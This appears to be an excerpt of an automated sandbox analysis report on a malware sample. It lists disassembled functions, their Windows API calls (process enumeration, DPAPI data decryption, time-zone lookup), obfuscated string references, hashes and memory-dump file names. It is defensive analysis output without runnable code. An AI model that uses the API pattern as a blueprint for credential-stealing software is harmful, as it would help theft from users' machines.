Instruction Fuzzy Hash: 620152B5A40208BBEB14DFE4CD49FAD7778EB44B04F104455FB09EB2C0C6B4AA04DB66

Function 003C9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003C961E
Process32First.KERNEL32(003D0ACA,00000128), ref: 003C9632
Process32Next.KERNEL32(003D0ACA,00000128), ref: 003C9647
StrCmpCA.SHLWAPI(?,00000000), ref: 003C965C
CloseHandle.KERNEL32(003D0ACA), ref: 003C967A

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d421f4625f9ebf5b5b412f00118d855793a9ba9e59c7bd52ce87995e3f680fd7
Instruction ID: 2287f26e9c57474498a25ce06033287e39e502ad89ce26b2fb82101aa2c18adf
Opcode Fuzzy Hash: d421f4625f9ebf5b5b412f00118d855793a9ba9e59c7bd52ce87995e3f680fd7
Instruction Fuzzy Hash: 160129B5A00208ABCB11DFA5CC48FEDB7F8EB18350F004189A909D7280D774AE54DF52

Function 00783BD9 Relevance: 6.6, Strings: 4, Instructions: 1645COMMON

Download Yara Rule

Strings

|'_, xrefs: 00783DEF
,Jw, xrefs: 00783F29
:vy, xrefs: 00784F76
wFk, xrefs: 00784AB4

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :vy$,Jw$wFk$|'_
API String ID: 0-1627011548
Opcode ID: 9da0da3c87029cc624f722566eafb916dce041416521e467a893faca6012c89c
Instruction ID: 160c246a17c0dd4cb72066807b894e8d825d9c4b2280e885602c3323206bf18a
Opcode Fuzzy Hash: 9da0da3c87029cc624f722566eafb916dce041416521e467a893faca6012c89c
Instruction Fuzzy Hash: 49B217F3A0C2149FE3046E2DEC8567AFBE9EF94320F1A493DEAC4C3744E67558058696

Function 007805C7 Relevance: 6.6, Strings: 4, Instructions: 1643COMMON

Download Yara Rule

Strings

&N3, xrefs: 00780D30
nz>, xrefs: 00780E1A
^{Q, xrefs: 00780D29
}N*, xrefs: 00781040

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &N3$nz>$}N*$^{Q
API String ID: 0-681066692
Opcode ID: b73a3fb96db0633f99931f63c0ee10204e51ec2250fe7964b7d29ada00d1ebd2
Instruction ID: 846c81a2d8baa8077b14bfdf8744df2ac0ee62e35e95b5f89fae5e37084d100d
Opcode Fuzzy Hash: b73a3fb96db0633f99931f63c0ee10204e51ec2250fe7964b7d29ada00d1ebd2
Instruction Fuzzy Hash: 44B228F3A0C2049FE7046E2DEC8567AFBE9EF94620F1A493DEAC4C7744E97558018683

Function 003C8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,003B5184,40000001,00000000,00000000,?,003B5184), ref: 003C8EC0

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5df83ece443cdcf1ba8012e2d24e82cac3a8121cc01b4af6f2a0b78490204729
Instruction ID: 45874cb25dfa6948ca599de24d5eb8488e7d7696a26d1e11297adf3d7869b699
Opcode Fuzzy Hash: 5df83ece443cdcf1ba8012e2d24e82cac3a8121cc01b4af6f2a0b78490204729
Instruction Fuzzy Hash: 9D11F2B0200208AFDB01CF64E884FAA37A9AF89354F10945CF919CB250DB75EE41EB61

Function 003C7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0118F370,00000000,?,003D0E10,00000000,?,00000000,00000000), ref: 003C7A63
RtlAllocateHeap.NTDLL(00000000), ref: 003C7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0118F370,00000000,?,003D0E10,00000000,?,00000000,00000000,?), ref: 003C7A7D
wsprintfA.USER32 ref: 003C7AB7

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 01f959b6c8faf8de0bf67fbf4225dc58baf8eb8aded2842216fe98908545cae4
Instruction ID: 26909fb9923104ca2eae302bf0679f1fb2c6c100bfc5999f162ecff1e5d280c1
Opcode Fuzzy Hash: 01f959b6c8faf8de0bf67fbf4225dc58baf8eb8aded2842216fe98908545cae4
Instruction Fuzzy Hash: DB115EB1D45218EBEB209B54DC49FA9B778FB04761F10439AE91AD32C0D7785E44CF52

Function 00779C47 Relevance: 5.2, Strings: 3, Instructions: 1422COMMON

Download Yara Rule

Strings

n.~_, xrefs: 0077AA06
O!p}, xrefs: 0077A75D
K~v, xrefs: 0077AA8D

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: K~v$O!p}$n.~_
API String ID: 0-3894994114
Opcode ID: f0c09d64e855683e84658af23b498f249b664dc64df5b1d9d8fe76d05bdd5d57
Instruction ID: 06902b9079e14b131a6edceae04e718bbab1aa6f74d21c001265d5e6abe65898
Opcode Fuzzy Hash: f0c09d64e855683e84658af23b498f249b664dc64df5b1d9d8fe76d05bdd5d57
Instruction Fuzzy Hash: 7CA2E8F3A08204AFE3046E2DEC8576AF7E9EF94320F16853DE6C4C3744EA7598458697

Function 00789446 Relevance: 4.6, Strings: 3, Instructions: 861COMMON

Download Yara Rule

Strings

qyl, xrefs: 0078969C
F1z<, xrefs: 00789B31
%we}, xrefs: 00789C11

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %we}$F1z<$qyl
API String ID: 0-2673106884
Opcode ID: b16eb786b1aaefd85157349fc4ddd894da35bd4b0d7486372474ce153884e22c
Instruction ID: dcb04b6e70e0229024fdf22e8c7c7b0915585d4fe44cf63907eef5d049e563e6
Opcode Fuzzy Hash: b16eb786b1aaefd85157349fc4ddd894da35bd4b0d7486372474ce153884e22c
Instruction Fuzzy Hash: 95423AF36082009FE704AE2DEC8567ABBEAEBD4320F2A453DE6C5C7744E93599018653

Function 003C3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(003CE118,00000000,00000001,003CE108,00000000), ref: 003C3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 003C37B0

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 3da090dcc2a5c4891ee76d4571ba96fafe6db74090e05c86fdfc43367d9b56cc
Instruction ID: ab1bf2922a741208f6d4d9f76612c8c670de9a1100800aebc8b02b5e5642e6a0
Opcode Fuzzy Hash: 3da090dcc2a5c4891ee76d4571ba96fafe6db74090e05c86fdfc43367d9b56cc
Instruction Fuzzy Hash: 6341E870A40A289FDB24DB58CC95F9BB7B5BB48702F4081D8E609EB2D0D7716E85CF50

Function 003B9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 003B9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 003B9BA3
LocalFree.KERNEL32(?), ref: 003B9BD3

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 9890c5605488872011d8f464fc4170af2b927c138545bbfe509f0b7ed60da91f
Instruction ID: 1b5e619cc62b7b3e995bef3fd926d4992ec4087e27e910fd284a76b7bc41690a
Opcode Fuzzy Hash: 9890c5605488872011d8f464fc4170af2b927c138545bbfe509f0b7ed60da91f
Instruction Fuzzy Hash: 0811F7B8A00209EFCB04DF94D985AAE77B5FF88300F104599E915A7350D774AE14CFA2

Function 0077EACC Relevance: 4.1, Strings: 2, Instructions: 1625COMMON

Download Yara Rule

Strings

s>;, xrefs: 0077EC70
%rq], xrefs: 0077F703

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: s>;$%rq]
API String ID: 0-132130327
Opcode ID: a4872c6f1c663052752f7e92335765bdef2c9431d8d822ffdcb9969853276278
Instruction ID: 3843b012aa3a915ffcb3b465ac3ab913be439292b70affcbea532ea4b1515e53
Opcode Fuzzy Hash: a4872c6f1c663052752f7e92335765bdef2c9431d8d822ffdcb9969853276278
Instruction Fuzzy Hash: 1AB219F360C2049FE3046E2DEC8567ABBE5EF94720F1A893DEAC5C7744EA3558048697

Function 0077D019 Relevance: 4.1, Strings: 2, Instructions: 1590COMMON

Download Yara Rule

Strings

[s/:, xrefs: 0077DB9D
xbo\, xrefs: 0077DABB

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: [s/:$xbo\
API String ID: 0-4192486534
Opcode ID: c2d0907b89404df6652bfb09146aace9043281135151e0379f6182ef5773db77
Instruction ID: a6ebeba2d79c89e4b1406194280f226d97160a5b8bddd1ec3e9b6aa6320e0518
Opcode Fuzzy Hash: c2d0907b89404df6652bfb09146aace9043281135151e0379f6182ef5773db77
Instruction Fuzzy Hash: 97B229F3A086149FD3046E2DEC8566AFBE9EF94720F1A493DEAC4C3744E63598018797

Function 006562B5 Relevance: 1.5, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

Z^YU, xrefs: 006563C6

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Z^YU
API String ID: 0-2477682694
Opcode ID: 48e8af79c6c1a9eb3c261bad9460f8320de504887004cff30c82a1c0df67b34e
Instruction ID: ceb586f730445b47b59a63bc8efede2860c91e085ffd75e1963e26a2d67695f5
Opcode Fuzzy Hash: 48e8af79c6c1a9eb3c261bad9460f8320de504887004cff30c82a1c0df67b34e
Instruction Fuzzy Hash: 9061E6F3E182109BE3086A28DC4937AB7D6EB94321F2B463DE6C9477C8D97918458686

Function 00710157 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
